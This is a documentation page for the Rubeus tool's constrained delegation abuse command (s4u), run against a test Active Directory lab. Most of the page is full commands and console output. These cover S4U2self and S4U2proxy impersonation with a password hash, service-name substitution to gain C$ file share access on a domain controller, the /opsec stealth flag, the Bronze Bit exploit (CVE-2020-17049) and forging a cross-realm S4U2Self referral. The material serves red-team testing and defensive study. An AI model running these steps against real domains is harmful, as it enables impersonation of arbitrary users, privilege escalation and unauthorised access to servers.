Constrained Delegation Abuse

Breakdown of the constrained delegation commands:

s4u

The s4u action is nearly identical to Kekeo's tgs::s4u functionality. If a user (or computer) account is configured for constrained delegation (i.e. has a SPN value in its msds-allowedtodelegateto field) this action can be used to abuse access to the target SPN/server. Constrained delegation is complex. For more information see this post or Elad Shamir's "Wagging the Dog" post.

A TL;DR explanation is that an account with constrained delegation enabled is allowed to request tickets to itself as any user, in a process known as S4U2self. In order for an account to be allowed to do this, it has to have TrustedToAuthForDelegation enabled in its useraccountcontrol property, something that only elevated users can modify by default. This ticket has the FORWARDABLE flag set by default. The service can then use this specially requested ticket to request a service ticket to any service principal name (SPN) specified in the account's msds-allowedtodelegateto field. So long story short, if you have control of an account with TrustedToAuthForDelegation set and a value in msds-allowedtodelegateto, you can pretend to be any user in the domain to the SPNs set in the account's msds-allowedtodelegateto field.

This "control" can be the hash of the account (/rc4 or /aes256), or an existing TGT (/ticket:X) for the account with a msds-allowedtodelegateto value set. If a /user and rc4/aes256 hash is supplied, the s4u module performs an asktgt action first, using the returned ticket for the steps following. If a TGT /ticket:X is supplied, that TGT is used instead.

A /impersonateuser:X parameter MUST be supplied to the s4u module. If nothing else is supplied, just the S4U2self process is executed, returning a forwardable ticket:

C:\Rubeus>Rubeus.exe s4u /user:patsy /rc4:2b576acbe6bcfda7294d6bd18041b8fe /impersonateuser:dfm.a

 ______        _
(_____ \      | |
 _____) )_   _| |__  _____ _   _  ___
|  __  /| | | |  _ \| ___ | | | |/___)
| |  \ \| |_| | |_) ) ____| |_| |___ |
|_|   |_|____/|____/|_____)____/(___/

v1.3.3

[*] Action: Ask TGT

[*] Using rc4_hmac hash: 2b576acbe6bcfda7294d6bd18041b8fe
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building AS-REQ (w/ preauth) for: 'testlab.local\patsy'
[*] Connecting to 192.168.52.100:88
[*] Sent 230 bytes
[*] Received 1377 bytes
[+] TGT request successful!
[*] base64(ticket.kirbi):

    doIE+jCCBPagAwIBBaEDAgEWoo...(snip)...


[*] Action: S4U

[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building S4U2self request for: 'TESTLAB.LOCAL\patsy'
[*] Sending S4U2self request
[*] Connecting to 192.168.52.100:88
[*] Sent 1437 bytes
[*] Received 1574 bytes
[+] S4U2self success!
[*] Got a TGS for 'dfm.a@TESTLAB.LOCAL' to 'TESTLAB.LOCAL\patsy'
[*] base64(ticket.kirbi):

    doIF2jCCBdagAwIBBaEDAgEWoo...(snip)...

That forwardable ticket can then be used as a /tgs:Y parameter (base64 blob or .kirbi file) to execute the S4U2proxy process. A valid msds-allowedtodelegateto value for the account must be supplied (/msdsspn:X). Say the patsy@testlab.local account looks like this:

PS C:\> Get-DomainUser patsy -Properties samaccountname,msds-allowedtodelegateto | Select -Expand msds-allowedtodelegateto
ldap/PRIMARY.testlab.local/testlab.local
ldap/PRIMARY
ldap/PRIMARY.testlab.local/TESTLAB
ldap/PRIMARY/TESTLAB
ldap/PRIMARY.testlab.local/DomainDnsZones.testlab.local
ldap/PRIMARY.testlab.local/ForestDnsZones.testlab.local
ldap/PRIMARY.testlab.local

Then the S4U2proxy abuse function (using the ticket from the previous S4U2self process) would be:

C:\Rubeus>Rubeus.exe s4u /ticket:doIE+jCCBPagAwIBBaEDAgEWoo..(snip).. /msdsspn:"ldap/PRIMARY.testlab.local" /tgs:doIF2jCCBdagAwIBBaEDAgEWoo..(snip)..
 ______        _
(_____ \      | |
 _____) )_   _| |__  _____ _   _  ___
|  __  /| | | |  _ \| ___ | | | |/___)
| |  \ \| |_| | |_) ) ____| |_| |___ |
|_|   |_|____/|____/|_____)____/(___/

v1.3.3

[*] Action: S4U

[*] Loaded a TGS for TESTLAB.LOCAL\dfm.a@TESTLAB.LOCAL
[*] Impersonating user 'dfm.a@TESTLAB.LOCAL' to target SPN 'ldap/PRIMARY.testlab.local'
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building S4U2proxy request for service: 'ldap/PRIMARY.testlab.local'
[*] Sending S4U2proxy request
[*] Connecting to 192.168.52.100:88
[*] Sent 2641 bytes
[*] Received 1829 bytes
[+] S4U2proxy success!
[*] base64(ticket.kirbi) for SPN 'ldap/PRIMARY.testlab.local':

    doIGujCCBragAwIBBaEDAgEWoo..(snip)..

Where /ticket:X is the TGT returned in the first step, and /tgs is the S4U2self ticket. Injecting the resulting ticket (manually with Rubeus.exe ptt /ticket:X or by supplying the /ptt flag to the s4u command) will allow you access the ldap service on primary.testlab.local as if you are dfm.a.

The /altservice parameter takes advantage of Alberto Solino's great discovery about how the service name (sname) is not protected in the KRB-CRED file, only the server name is. This allows us to substitute in any service name we want in the resulting KRB-CRED (.kirbi) file. One or more alternate service names can be supplied, comma-separated (/altservice:cifs,HOST,...).

Let's expand on the previous example, forging access to the filesystem on primary.testlab.local by abusing its constrained delegation configuration and the alternate service substitution. Let's package it all into one step as well, performing a TGT request, S4U2self process, S4U2proxy execution, and injection of the final ticket:

C:\Rubeus>dir \\primary.testlab.local\C$
Access is denied.

C:\Rubeus>Rubeus.exe s4u /user:patsy /rc4:2b576acbe6bcfda7294d6bd18041b8fe /impersonateuser:dfm.a /msdsspn:"ldap/PRIMARY.testlab.local" /altservice:cifs /ptt

 ______        _
(_____ \      | |
 _____) )_   _| |__  _____ _   _  ___
|  __  /| | | |  _ \| ___ | | | |/___)
| |  \ \| |_| | |_) ) ____| |_| |___ |
|_|   |_|____/|____/|_____)____/(___/

v1.3.3

[*] Action: Ask TGT

[*] Using rc4_hmac hash: 2b576acbe6bcfda7294d6bd18041b8fe
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building AS-REQ (w/ preauth) for: 'testlab.local\patsy'
[*] Connecting to 192.168.52.100:88
[*] Sent 230 bytes
[*] Received 1377 bytes
[+] TGT request successful!
[*] base64(ticket.kirbi):

    doIE+jCCBPagAwIBBaEDAgEWoo..(snip)..


[*] Action: S4U

[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building S4U2self request for: 'TESTLAB.LOCAL\patsy'
[*] Sending S4U2self request
[*] Connecting to 192.168.52.100:88
[*] Sent 1437 bytes
[*] Received 1574 bytes
[+] S4U2self success!
[*] Got a TGS for 'dfm.a@TESTLAB.LOCAL' to 'TESTLAB.LOCAL\patsy'
[*] base64(ticket.kirbi):

    doIF2jCCBdagAwIBBaEDAgEWoo..(snip)..

[*] Impersonating user 'dfm.a' to target SPN 'ldap/PRIMARY.testlab.local'
[*]   Final ticket will be for the alternate service 'cifs'
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building S4U2proxy request for service: 'ldap/PRIMARY.testlab.local'
[*] Sending S4U2proxy request
[*] Connecting to 192.168.52.100:88
[*] Sent 2641 bytes
[*] Received 1829 bytes
[+] S4U2proxy success!
[*] Substituting alternative service name 'cifs'
[*] base64(ticket.kirbi) for SPN 'cifs/PRIMARY.testlab.local':

    doIGujCCBragAwIBBaEDAgEWoo..(snip)..

[*] Action: Import Ticket
[+] Ticket successfully imported!

C:\Rubeus>dir \\primary.testlab.local\C$
Volume in drive \\primary.testlab.local\C$ has no label.
Volume Serial Number is A48B-4D68

Directory of \\primary.testlab.local\C$

07/05/2018  12:57 PM    <DIR>          dumps
03/05/2017  04:36 PM    <DIR>          inetpub
08/22/2013  07:52 AM    <DIR>          PerfLogs
04/15/2017  05:25 PM    <DIR>          profiles
08/28/2018  11:51 AM    <DIR>          Program Files
08/28/2018  11:51 AM    <DIR>          Program Files (x86)
10/09/2018  12:04 PM    <DIR>          Temp
08/23/2018  03:52 PM    <DIR>          Users
10/25/2018  01:15 PM    <DIR>          Windows
            1 File(s)              9 bytes
            9 Dir(s)  40,511,676,416 bytes free

By default, several differences exist between the S4U2Self and S4U2Proxy TGS-REQ's generated by Rubeus and genuine requests. To form the TGS-REQ's more in line with genuine requests, the /opsec flag can be used. As this flag is intended to make Rubeus traffic more stealthy, it cannot by default be used with any encryption type other than aes256 and will just throw a warning and exit if another encryption type is used. To allow for other encryption types to be used with the /opsec changes, the /force flag exists. The /opsec flag has not yet been implemented for cross-domain S4U.

The Bronze Bit exploit (CVE-2020-17049) is implemented using the /bronzebit flag. Adding this flag will automatically flip the forwardable flag when retrieving the S4U2Self ticket. As flipping this flag requires the service ticket to be decrypted and re-encrypted, the long-term key (service account's password hash) is required. For this reason, if a TGT is being supplied, the service accounts credentials are also required for this to work.

It is possible, in certain circumstances, to use an S4U2Self ticket to impersonate protected users in order to escalate privileges on the requesting system, as discussed here. For this purpose, the /self flag and /altservice:X argument can be used to generate a usable service ticket.

To forge an S4U2Self referral, only the trust key is required. By using the /targetdomain:X argument with the /self flag and without the /targetdc argument, Rubeus will treat the ticket supplied with /ticket:X as an S4U2Self referral and only request the final S4U2Self service ticket. The /altservice:X can also be used to rewrite the sname in the resulting ticket:

C:\Rubeus>Rubeus.exe s4u /self /targetdomain:internal.zeroday.lab /dc:idc1.internal.zeroday.lab /impersonateuser:external.admin /domain:external.zeroday.lab /altservice:host/isql1.internal.zeroday.lab /nowrap /ticket:C:\temp\s4u2self-referral.kirbi

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v1.5.0

[*] Action: S4U

[*] Action: S4U

[*] Using domain controller: idc1.internal.zeroday.lab (192.168.71.20)
[*] Requesting the cross realm 'S4U2Self' for external.admin@external.zeroday.lab from idc1.internal.zeroday.lab
[*] Sending cross realm S4U2Self request
[+] cross realm S4U2Self success!
[*] Substituting alternative service name 'host/isql1.internal.zeroday.lab'
[*] base64(ticket.kirbi):

      doIFETCCBQ...RheS5sYWI=

Last updated